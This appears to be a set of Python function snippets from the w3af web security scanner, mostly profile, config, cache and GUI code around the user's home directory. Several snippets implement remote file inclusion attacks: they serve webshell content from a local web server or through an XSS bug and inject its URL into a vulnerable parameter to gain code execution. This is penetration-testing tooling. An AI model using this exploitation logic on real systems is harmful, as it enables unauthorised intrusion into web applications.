def __init__(self): self._start_cfg_file = os.path.join(get_home_dir(), 'startup.conf') self._start_section = 'STARTUP_CONFIG' self._config = ConfigParser.ConfigParser() configs = self._load_cfg() self._autoupd, self._freq, self._lastupd, self._lastrev = configs
def _gen_url_to_include( self, file_content, extension ): ''' Generate the URL to include, based on the configuration it will return a URL poiting to a XSS bug, or a URL poiting to our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = urlParser.uri2url(self._xss_vuln.getURL()) data_container = self._xss_vuln.getDc() data_container = data_container.copy() data_container[self._xss_vuln.getVar()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = createRandAlNum() try: file_handler = open(os.path.join(get_home_dir(), 'webroot', filename) , 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://' + self._listen_address +':' url_to_include += str(self._listen_port) +'/' + filename return url_to_include
def _get_real_profile_name(self, profilename, workdir): ''' Return the complete path for `profilename`. @raise w3afException: If no existing profile file is found this exception is raised with the proper desc message. ''' # Alias for os.path. Minor optimization ospath = os.path pathexists = os.path.exists # Add extension if necessary if not profilename.endswith('.pw3af'): profilename += '.pw3af' profname = profilename # Try to find the file found = pathexists(profname) if not (ospath.isabs(profname) or found): profname = ospath.join(get_home_dir(), 'profiles', profilename) found = pathexists(profname) # Ok, let's try to find it in the passed working directory. if not found and workdir: profname = ospath.join(workdir, profilename) found = pathexists(profname) if not found: raise w3afException('The profile "%s" wasn\'t found.' % profilename) return profname
def save(self, file_name=''): ''' Saves the profile to file_name. :return: None ''' if not self._profile_file_name: if not file_name: raise w3afException('Error while saving profile, you didn\'t ' 'specified the file name.') else: # The user's specified a file_name! if not file_name.endswith('.pw3af'): file_name += '.pw3af' if os.path.sep not in file_name: file_name = os.path.join( get_home_dir(), 'profiles', file_name) self._profile_file_name = file_name try: file_handler = open(self._profile_file_name, 'w') except: raise w3afException( 'Failed to open profile file: ' + self._profile_file_name) else: self._config.write(file_handler)
def save(self, file_name=''): ''' Saves the profile to file_name. :return: None ''' if not self._profile_file_name: if not file_name: raise w3afException('Error while saving profile, you didn\'t ' 'specified the file name.') else: # The user's specified a file_name! if not file_name.endswith('.pw3af'): file_name += '.pw3af' if os.path.sep not in file_name: file_name = os.path.join(get_home_dir(), 'profiles', file_name) self._profile_file_name = file_name try: file_handler = open(self._profile_file_name, 'w') except: raise w3afException('Failed to open profile file: ' + self._profile_file_name) else: self._config.write(file_handler)
def _gen_url_to_include(self, file_content, extension): ''' Generate the URL to include, based on the configuration it will return a URL pointing to a XSS bug, or our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = self._xss_vuln.get_url().uri2url() data_container = self._xss_vuln.get_dc() data_container = data_container.copy() data_container[self._xss_vuln.get_var()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = rand_alnum() filepath = os.path.join(get_home_dir(), 'webroot', filename) try: file_handler = open(filepath, 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://%s:%s/%s' % ( self._listen_address, self._listen_port, filename) return url_to_include
def _gen_url_to_include(self, file_content, extension): ''' Generate the URL to include, based on the configuration it will return a URL pointing to a XSS bug, or our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = self._xss_vuln.get_url().uri2url() data_container = self._xss_vuln.get_dc() data_container = data_container.copy() data_container[self._xss_vuln.get_var()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = rand_alnum() filepath = os.path.join(get_home_dir(), 'webroot', filename) try: file_handler = open(filepath, 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://%s:%s/%s' % (self._listen_address, self._listen_port, filename) return url_to_include
def _rm_file(self): ''' Stop the server, remove the file from the webroot. ''' # Remove the file filename = urlParser.getFileName(self._rfi_url) os.remove(os.path.join(get_home_dir(), 'webroot', filename))
def __init__( self ): self.cacheLocation = get_home_dir() + os.path.sep + 'urllib2cache' if not os.path.exists(self.cacheLocation): os.makedirs(self.cacheLocation) self.cacheLocation += os.path.sep + str(os.getpid()) if not os.path.exists(self.cacheLocation): os.mkdir(self.cacheLocation)
def _rm_file(self, url_to_include): """ Remove the file from the webroot. PLEASE NOTE: This is duplicated code!! see the same note above. """ # Remove the file filename = url_to_include.split("/")[-1:][0] os.remove(os.path.join(get_home_dir(), "webroot", filename))
def _rm_file(self, url_to_include): ''' Remove the file from the webroot. PLEASE NOTE: This is duplicated code!! see the same note above. ''' # Remove the file filename = url_to_include.split('/')[-1:][0] os.remove(os.path.join(get_home_dir(), 'webroot', filename))
def _rm_file(self, url_to_include): ''' Remove the file in the webroot. PLEASE NOTE: This is duplicated code!! see the same note above. ''' # Remove the file filename = url_to_include.split('/')[-1:][0] os.remove(os.path.join(get_home_dir(), 'webroot', filename))
def _rm_file(self, url_to_include): """ Remove the file in the webroot. PLEASE NOTE: This is duplicated code!! see the same note below. """ if not self._use_XSS_vuln: # Remove the file filename = url_to_include.split("/")[-1:][0] os.remove(os.path.join(get_home_dir(), "webroot", filename))
def _rm_file(self, url_to_include): ''' Remove the file in the webroot. PLEASE NOTE: This is duplicated code!! see the same note below. ''' if not self._use_XSS_vuln: # Remove the file filename = url_to_include.split('/')[-1:][0] os.remove(os.path.join(get_home_dir(), 'webroot', filename))
def can_exploit(self, vuln_to_exploit=None): """ Searches the kb for vulnerabilities that this plugin can exploit, this is overloaded from AttackPlugin because I need to test for xss vulns also. This is a "complex" plugin. :param vuln_to_exploit: The id of the vulnerability to exploit. :return: True if plugin knows how to exploit a found vuln. """ if not self._listen_address and not self._use_XSS_vuln: msg = ( "You need to specify a local IP address where w3af can bind" " an HTTP server that can be reached by the vulnerable Web" " application." ) om.out.error(msg) return False rfi_vulns = kb.kb.get("rfi", "rfi") if vuln_to_exploit is not None: rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit] if not rfi_vulns: return False # # Ok, I have the RFI vulnerability to exploit, but... is the # plugin configured in such a way that exploitation is possible? # if self._use_XSS_vuln: usable_xss = self._verify_xss_vuln() # Using the good old webserver (if properly configured) if not self._listen_address and not usable_xss: msg = ( "You need to specify a local IP address where w3af can" " bind an HTTP server that can be reached by the" " vulnerable Web application." ) om.out.error(msg) return False if self._listen_address and self._listen_port: # Start local webserver, raise an exception if something # fails webroot_path = os.path.join(get_home_dir(), "webroot") try: webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) except socket.error, se: msg = ( "Failed to start the local web server to exploit the" ' RFI vulnerability, the exception was: "%s".' ) om.out.error(msg % se) return False
def __init__(self, db=None): '''Construct object.''' self._border = '-#=' * 20 self._ext = '.trace' if db: self._db = db elif not kb.kb.getData('gtkOutput', 'db') == []: # Restore it from the kb self._db = kb.kb.getData('gtkOutput', 'db') else: raise w3afException('The database is not initialized yet.') self._sessionDir = os.path.join(get_home_dir() , 'sessions', cf.cf.getData('sessionName')) try: os.mkdir(self._sessionDir) except OSError, oe: # [Errno 17] File exists if oe.errno != 17: msg = 'Unable to write to the user home directory: ' + get_home_dir() raise w3afException( msg )
def __init__(self): baseOutputPlugin.__init__(self) if not kb.kb.getData('gtkOutput', 'db') == []: # Restore it from the kb self._db = kb.kb.getData('gtkOutput', 'db') self.queue = kb.kb.getData('gtkOutput', 'queue') else: self.queue = Queue.Queue() kb.kb.save('gtkOutput', 'queue' , self.queue) # Create DB and add tables sessionName = cf.cf.getData('sessionName') dbName = os.path.join(get_home_dir(), 'sessions', 'db_' + sessionName) # Just in case the directory doesn't exist... try: os.mkdir(os.path.join(get_home_dir() , 'sessions')) except OSError, oe: # [Errno 17] File exists if oe.errno != 17: msg = 'Unable to write to the user home directory: ' + get_home_dir() raise w3afException( msg ) self._db = DB() # Check if the database already exists if os.path.exists(dbName): # Find one that doesn't exist for i in xrange(100): newDbName = dbName + '-' + str(i) if not os.path.exists(newDbName): dbName = newDbName break # Create DB! self._db.open(dbName) # Create table historyItem = HistoryItem(self._db) self._db.createTable(historyItem.getTableName(), historyItem.getColumns(), historyItem.getPrimaryKeyColumns()) kb.kb.save('gtkOutput', 'db', self._db)
def __init__(self, db=None): '''Construct object.''' self._border = '-#=' * 20 self._ext = '.trace' if db: self._db = db elif not kb.kb.getData('gtkOutput', 'db') == []: # Restore it from the kb self._db = kb.kb.getData('gtkOutput', 'db') else: raise w3afException('The database is not initialized yet.') self._sessionDir = os.path.join(get_home_dir() , 'sessions', self._db.getFileName() + '_traces')
def end(self): ''' This method is called when the xUrllib is not going to be used anymore. ''' sep = os.path.sep try: cacheLocation = get_home_dir() + sep + 'urllib2cache' + sep + str(os.getpid()) if os.path.exists(cacheLocation): for f in os.listdir(cacheLocation): os.unlink(cacheLocation + sep + f) os.rmdir(cacheLocation) except Exception, e: om.out.debug('Error while cleaning urllib2 cache, exception: ' + str(e))
def can_exploit(self, vuln_to_exploit=None): ''' Searches the kb for vulnerabilities that this plugin can exploit, this is overloaded from AttackPlugin because I need to test for xss vulns also. This is a "complex" plugin. :param vuln_to_exploit: The id of the vulnerability to exploit. :return: True if plugin knows how to exploit a found vuln. ''' if not self._listen_address and not self._use_XSS_vuln: msg = 'You need to specify a local IP address where w3af can bind'\ ' an HTTP server that can be reached by the vulnerable Web'\ ' application.' om.out.error(msg) return False rfi_vulns = kb.kb.get('rfi', 'rfi') if vuln_to_exploit is not None: rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit] if not rfi_vulns: return False # # Ok, I have the RFI vulnerability to exploit, but... is the # plugin configured in such a way that exploitation is possible? # if self._use_XSS_vuln: usable_xss = self._verify_xss_vuln() # Using the good old webserver (if properly configured) if not self._listen_address and not usable_xss: msg = 'You need to specify a local IP address where w3af can'\ ' bind an HTTP server that can be reached by the'\ ' vulnerable Web application.' om.out.error(msg) return False if self._listen_address and self._listen_port: # Start local webserver, raise an exception if something # fails webroot_path = os.path.join(get_home_dir(), 'webroot') try: webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) except socket.error, se: msg = 'Failed to start the local web server to exploit the'\ ' RFI vulnerability, the exception was: "%s".' om.out.error(msg % se) return False
def end(self): ''' This method is called when the xUrllib is not going to be used anymore. ''' path_join = os.path.join try: cacheLocation = path_join(get_home_dir(), 'urllib2cache', str(os.getpid())) if os.path.exists(cacheLocation): for f in os.listdir(cacheLocation): os.unlink(path_join(cacheLocation, f)) os.rmdir(cacheLocation) except Exception, e: om.out.error('Error while cleaning urllib2 cache, exception: %s' % e)
class TestStartUpConfig(unittest.TestCase): CFG_FILE = os.path.join(get_home_dir(), 'unittest-startup.conf') def tearDown(self): try: os.unlink(self.CFG_FILE) except: pass def test_save(self): scfg = StartUpConfig(self.CFG_FILE) scfg.last_upd = date.today() scfg.accepted_disclaimer = True scfg.last_commit_id = '3f4808082c1943f964669af1a1c94245bab09c61' scfg.save() def test_load_not_exist(self): ''' This is a test to verify that the defaults are loaded when the file does not exist. ''' scfg = StartUpConfig('foo.conf') self.assertEqual(scfg.last_upd, date.today() - timedelta(days=31)) self.assertEqual(scfg.accepted_disclaimer, False) self.assertEqual(scfg.last_commit_id, '') self.assertEqual(scfg.freq, 'D') def test_load_file_exists(self): '''This is a test to verify that the things we saved were persited in the actual file. ''' # Save scfg = StartUpConfig(self.CFG_FILE) scfg.last_upd = date.today() scfg.accepted_disclaimer = True scfg.last_commit_id = '3f4808082c1943f964669af1a1c94245bab09c61' scfg.save() # Load scfg = StartUpConfig(self.CFG_FILE) self.assertEqual(scfg.last_upd, date.today()) self.assertEqual(scfg.accepted_disclaimer, True) self.assertEqual(scfg.last_commit_id, '3f4808082c1943f964669af1a1c94245bab09c61') self.assertEqual(scfg.freq, 'D')
def __init__(self, mainwin, w3af): super(PluginConfigBody, self).__init__() self.w3af = w3af targetbox = gtk.HBox() # label lab = gtk.Label(_("Target:")) targetbox.pack_start(lab, expand=False, fill=False, padding=5) # entry histfile = os.path.join(get_home_dir(), "urlhistory.pkl") self.target = entries.AdvisedEntry(_("Insert the target URL here"), mainwin.scanok.change, histfile, alertmodif=mainwin.profile_changed) self.target.connect("activate", mainwin._scan_director) self.target.connect("activate", self.target.insert_url) targetbox.pack_start(self.target, expand=True, fill=True, padding=5) # start/stop button startstop = entries.SemiStockButton(_("Start"), gtk.STOCK_MEDIA_PLAY, _("Start scan")) startstop.set_sensitive(False) startstop.connect("clicked", mainwin._scan_director) startstop.connect("clicked", self.target.insert_url) mainwin.startstopbtns.addWidget(startstop) targetbox.pack_start(startstop, expand=False, fill=False, padding=5) # advanced config advbut = entries.SemiStockButton( "", gtk.STOCK_PREFERENCES, _("Advanced Target URL configuration")) advbut.connect("clicked", self._advancedTarget) targetbox.pack_start(advbut, expand=False, fill=False, padding=5) targetbox.show_all() self.pack_start(targetbox, expand=False, fill=False) # the pan with all the configs self.pan = self._buildpan() self.pack_start(self.pan, padding=5) # key binding self.key_l = gtk.gdk.keyval_from_name("l") mainwin.window.connect("key-press-event", self._key) self.show()
def __init__(self, mainwin, w3af): super(PluginConfigBody, self).__init__() self.w3af = w3af targetbox = gtk.HBox() # label lab = gtk.Label(_("Target:")) targetbox.pack_start(lab, expand=False, fill=False, padding=5) # entry histfile = os.path.join(get_home_dir(), "urlhistory.pkl") self.target = entries.AdvisedEntry(_("Insert the target URL here"), mainwin.scanok.change, histfile, alertmodif=mainwin.profile_changed) self.target.connect("activate", mainwin._scan_director) self.target.connect("activate", self.target.insert_url) targetbox.pack_start(self.target, expand=True, fill=True, padding=5) # start/stop button startstop = entries.SemiStockButton(_("Start"), gtk.STOCK_MEDIA_PLAY, _("Start scan")) startstop.set_sensitive(False) startstop.connect("clicked", mainwin._scan_director) startstop.connect("clicked", self.target.insert_url) mainwin.startstopbtns.addWidget(startstop) targetbox.pack_start(startstop, expand=False, fill=False, padding=5) # advanced config advbut = entries.SemiStockButton( "", gtk.STOCK_PREFERENCES, _("Advanced Target URL configuration")) advbut.connect("clicked", self._advancedTarget) targetbox.pack_start(advbut, expand=False, fill=False, padding=5) targetbox.show_all() self.pack_start(targetbox, expand=False, fill=False) # the pan with all the configs self.pan = self._buildpan() self.pack_start(self.pan, padding=5) # key binding self.key_l = gtk.gdk.keyval_from_name("l") mainwin.window.connect("key-press-event", self._key) self.show()
def __init__( self, profile_file_name=None ): ''' Creating a profile instance like p = profile() is done in order to be able to create a new profile from scratch and then call save( profile_file_name ). When reading a profile, you should use p = profile( profile_file_name ). ''' # The default optionxform transforms the option to lower case; w3af needs the value as it is def optionxform( option ): return option self._config = ConfigParser.ConfigParser() # Set the new optionxform function self._config.optionxform = optionxform # Save the profile_file_name variable self._profile_file_name = profile_file_name if profile_file_name is not None: # Verify if I can find the file if not os.path.exists(profile_file_name): # The file isn't there, let's try with a .pw3af ... if not profile_file_name.endswith('.pw3af'): profile_file_name += '.pw3af' if not os.path.exists(profile_file_name): # Search in the default path... profile_home = get_home_dir() + os.path.sep + 'profiles' + os.path.sep profile_file_name = profile_home + profile_file_name if not os.path.exists(profile_file_name): raise w3afException('The profile "' + profile_file_name + '" wasn\'t found.') try: self._config.read(profile_file_name) except: raise w3afException('Unknown format in profile: ' + profile_file_name ) else: # Save the profile_file_name variable self._profile_file_name = profile_file_name
def _get_real_profile_path(self, profilename, workdir): ''' Return the complete path for `profilename`. @raise w3afException: If no existing profile file is found this exception is raised with the proper desc message. >>> p = profile() >>> p._get_real_profile_path('OWASP_TOP10', '.') './profiles/OWASP_TOP10.pw3af' ''' # Alias for os.path. Minor optimization ospath = os.path pathexists = os.path.exists # Add extension if necessary if not profilename.endswith('.pw3af'): profilename += '.pw3af' if pathexists(profilename): return profilename # Let's try to find it in the workdir directory. if workdir is not None: tmp_path = ospath.join(workdir, profilename) if pathexists(tmp_path): return tmp_path # Let's try to find it in the "profiles" directory inside workdir if workdir is not None: tmp_path = ospath.join(workdir, 'profiles', profilename) if pathexists(tmp_path): return tmp_path if not ospath.isabs(profilename): tmp_path = ospath.join(get_home_dir(), 'profiles', profilename) if pathexists(tmp_path): return tmp_path raise w3afException('The profile "%s" wasn\'t found.' % profilename)
def _local_test_inclusion(self, freq): ''' Check for RFI using a local web server @param freq: A fuzzableRequest object @return: None, everything is saved to the kb ''' # # The listen address is an empty string when I have no default route # # Only work if: # - The listen address is private and the target address is private # - The listen address is public and the target address is public # if self._listen_address == '': return is_listen_priv = is_private_site(self._listen_address) is_target_priv = is_private_site(freq.getURL().getDomain()) if (is_listen_priv and is_target_priv) or \ not (is_listen_priv or is_target_priv): om.out.debug('RFI test using local web server for URL: ' + freq.getURL()) om.out.debug('w3af is running a webserver') try: # Create file for remote inclusion self._create_file() # Start web server webroot = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot) # Perform the real work self._test_inclusion(freq) # Wait for threads to finish self._tm.join(self) except Exception,e: msg = 'An error occurred while running local webserver: "%s"' % str(e) om.out.error( msg ) finally:
def _get_real_profile_path(self, profilename, workdir): ''' Return the complete path for `profilename`. @raise w3afException: If no existing profile file is found this exception is raised with the proper desc message. >>> p = profile() >>> p._get_real_profile_path('OWASP_TOP10', '.') './profiles/OWASP_TOP10.pw3af' ''' # Alias for os.path. Minor optimization ospath = os.path pathexists = os.path.exists # Add extension if necessary if not profilename.endswith('.pw3af'): profilename += '.pw3af' if pathexists(profilename): return profilename # Let's try to find it in the workdir directory. if workdir is not None: tmp_path = ospath.join(workdir, profilename) if pathexists(tmp_path): return tmp_path # Let's try to find it in the "profiles" directory inside workdir if workdir is not None: tmp_path = ospath.join(workdir, 'profiles', profilename) if pathexists(tmp_path): return tmp_path if not ospath.isabs(profilename): tmp_path = ospath.join(get_home_dir(), 'profiles', profilename) if pathexists(tmp_path): return tmp_path raise w3afException('The profile "%s" wasn\'t found.' % profilename)
def initStructure(self): '''Init history structure.''' tablename = self.getTableName() # Init tables self._db.createTable( tablename, self.getColumns(), self.getPrimaryKeyColumns() ) self._db.createIndex(tablename, self.getIndexColumns()) # Init dirs try: os.mkdir(self._sessionDir) except OSError, oe: # [Errno 17] File exists if oe.errno != 17: msg = 'Unable to write to the user home directory: ' + get_home_dir() raise w3afException(msg)
def _create_file(self): ''' Create random name file php with random php content. To be used in the remote file inclusion test. ''' # First, generate the php file to be included. rand1 = createRandAlNum(9) rand2 = createRandAlNum(9) filename = createRandAlNum() php_code = '<? \n echo "%s";\n echo "%s";\n ?>' % (rand1, rand2) # Write the php to the webroot file_handler = open(os.path.join(get_home_dir(), 'webroot', filename), 'w') file_handler.write(php_code) file_handler.close() # Define the required parameters self._rfi_url = 'http://' + self._listen_address +':' + str(self._listen_port) self._rfi_url += '/' + filename self._rfi_result = rand1 + rand2
def __init__(self, label=None): '''Contructor.''' self.sections = {} self.options = {} if label: self.filename = os.path.join(get_home_dir(), label + '.cfg')
def __init__(self, label=None): '''Contructor.''' self.sections = {} self.options = {} if label: self.filename = os.path.join(get_home_dir(), label + '.cfg')
''' settings.py Copyright 2006 Andres Riancho This file is part of w3af, http://w3af.org/ . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' import os from core.controllers.misc.homeDir import get_home_dir # Global cache location CACHE_LOCATION = os.path.join(get_home_dir(), 'urllib2cache')
but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' import os import stat import shutil from core.controllers.misc.homeDir import get_home_dir TEMP_DIR = os.path.join(get_home_dir(), 'tmp', str(os.getpid())) def get_temp_dir(): ''' :return: The path where we should create the dir. ''' return TEMP_DIR def create_temp_dir(): ''' Create the temp directory for w3af to work inside. :return: A string that contains the temp directory to use, in Linux: "~/.w3af/tmp/<pid>"
class StartUpConfig(object): ''' Wrapper class for ConfigParser.ConfigParser. Holds the configuration for the VersionMgr update/commit process ''' CFG_FILE = os.path.join(get_home_dir(), 'startup.conf') ISO_DATE_FMT = '%Y-%m-%d' # Frequency constants FREQ_DAILY = 'D' # [D]aily FREQ_WEEKLY = 'W' # [W]eekly FREQ_MONTHLY = 'M' # [M]onthly # DEFAULT VALUES DEFAULTS = { 'auto-update': 'true', 'frequency': 'D', 'last-update': 'None', 'last-commit': '', 'accepted-disclaimer': 'false' } def __init__(self, cfg_file=CFG_FILE): self._start_cfg_file = cfg_file self._start_section = 'STARTUP_CONFIG' self._config = ConfigParser.ConfigParser() configs = self._load_cfg() (self._autoupd, self._freq, self._lastupd, self._last_commit_id, self._accepted_disclaimer) = configs ### METHODS # def get_last_upd(self): ''' Getter method. ''' return self._lastupd def set_last_upd(self, datevalue): ''' :param datevalue: datetime.date value ''' self._lastupd = datevalue self._config.set(self._start_section, 'last-update', datevalue.isoformat()) def get_accepted_disclaimer(self): return self._accepted_disclaimer def set_accepted_disclaimer(self, accepted_decision): ''' :param datevalue: datetime.date value ''' self._accepted_disclaimer = accepted_decision value = 'true' if accepted_decision else 'false' self._config.set(self._start_section, 'accepted-disclaimer', value) def get_last_commit_id(self): return self._last_commit_id def set_last_commit_id(self, commit_id): if not isinstance(commit_id, basestring): raise TypeError('Expected string got %s instead.' % type(commit_id)) self._last_commit_id = commit_id self._config.set(self._start_section, 'last-commit', self._last_commit_id) def get_freq(self): return self._freq def get_auto_upd(self): return self._autoupd def _load_cfg(self): ''' Loads configuration from config file. ''' config = self._config startsection = self._start_section if not config.has_section(startsection): config.add_section(startsection) defaults = StartUpConfig.DEFAULTS config.set(startsection, 'auto-update', defaults['auto-update']) config.set(startsection, 'frequency', defaults['frequency']) config.set(startsection, 'last-update', defaults['last-update']) config.set(startsection, 'last-commit', defaults['last-commit']) config.set(startsection, 'accepted-disclaimer', defaults['accepted-disclaimer']) # Read from file config.read(self._start_cfg_file) boolvals = { 'false': 0, 'off': 0, 'no': 0, 'true': 1, 'on': 1, 'yes': 1 } # pylint: disable=E1103 # E1103: Instance of '_Chainmap' has no 'lower' member # (but some types could not be inferred)", auto_upd = config.get(startsection, 'auto-update', raw=True) auto_upd = bool(boolvals.get(auto_upd.lower(), False)) accepted_disclaimer = config.get(startsection, 'accepted-disclaimer', raw=True) accepted_disclaimer = bool( boolvals.get(accepted_disclaimer.lower(), False)) freq = config.get(startsection, 'frequency', raw=True).upper() if freq not in (StartUpConfig.FREQ_DAILY, StartUpConfig.FREQ_WEEKLY, StartUpConfig.FREQ_MONTHLY): freq = StartUpConfig.FREQ_DAILY lastupdstr = config.get(startsection, 'last-update', raw=True).upper() # Try to parse it try: lastupd = datetime.strptime(lastupdstr, self.ISO_DATE_FMT).date() except: # Provide default value that enforces the update to happen lastupd = date.today() - timedelta(days=31) try: lastrev = config.get(startsection, 'last-commit') except TypeError: lastrev = 0 return (auto_upd, freq, lastupd, lastrev, accepted_disclaimer) def save(self): ''' Saves current values to cfg file ''' with open(self._start_cfg_file, 'wb') as configfile: self._config.write(configfile) ### PROPERTIES # freq = property(get_freq) auto_upd = property(get_auto_upd) last_commit_id = property(get_last_commit_id, set_last_commit_id) accepted_disclaimer = property(get_accepted_disclaimer, set_accepted_disclaimer) last_upd = property(get_last_upd, set_last_upd)
def _verifyVuln(self, vuln): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # Create the shell extension = urlParser.getExtension( vuln.getURL() ) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells( extension ) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Start local webserver webroot_path = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) # Prepare for exploitation... function_reference = getattr(self._urlOpener, vuln.getMethod()) data_container = vuln.getDc() data_container[vuln.getVar()] = url_to_include try: http_res = function_reference(vuln.getURL(), str(data_container)) except: successfully_exploited = False else: successfully_exploited = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER) if successfully_exploited: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff # function_reference = getattr( self._urlOpener , vuln.getMethod() ) data_container = vuln.getDc() # A port that should "always" be closed, data_container[ vuln.getVar() ] = 'http://localhost:92/' try: http_response = function_reference( vuln.getURL(), str(data_container) ) except: return False else: rfi_errors = ['php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in'] for error in rfi_errors: if error in http_response.getBody(): return SUCCESS_OPEN_PORT return NO_SUCCESS